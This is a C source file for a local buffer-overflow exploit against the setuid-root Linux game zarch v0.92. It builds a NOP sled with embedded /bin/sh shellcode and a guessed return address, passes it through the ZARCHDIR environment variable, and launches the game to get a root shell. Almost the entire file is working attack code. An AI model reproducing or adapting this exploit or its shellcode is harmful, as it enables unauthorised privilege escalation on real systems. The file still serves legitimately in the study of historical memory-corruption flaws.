/* (linux)zarch[v0.92] buffer overflow, by v9[v9@fakehalo.org]. this is a misc. exploit for the linux-SVGAlib zarch game/visual based on "virus". which, is setuid root. i used an old perl script i made to find this, since i don't know if the source to this is public. (getenv.pl, binary scanner.) note: this was built for the static binary version. (zarch v0.92) */ #define PATH "/usr/games/zarch" // pathname, which probably needs changing. #define BUFFER_SIZE 264 // don't change this. #define DEFAULT_OFFSET 200 // offset that worked for me. static char exec[]= "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56" "\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80" "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01"; long esp(void){__asm__("movl %esp,%eax");} int main(int argc,char **argv){ char bof[BUFFER_SIZE]; int i,offset; long ret; if(argc>1){offset=atoi(argv[1]);} else{offset=DEFAULT_OFFSET;} ret=(esp()-offset); printf("*** (linux)zarch[v0.92] local buffer overflow, by: v9[v9@fakehalo.org]" ".\n"); printf("*** return address: 0x%lx, offset: %d.\n",ret,offset); printf("*** note: you may need to press enter to see the shell prompt.\n\n"); for(i=0;i<(260-strlen(exec));i++){*(bof+i)=0x90;} memcpy(bof+i,exec,strlen(exec)); *(long *)&bof[i+strlen(exec)]=ret; bof[BUFFER_SIZE]=0; setenv("ZARCHDIR",bof,1); if(execlp(PATH,"zarch",0)){ printf("error: program execution failed, check the pathname.\n"); exit(0); } }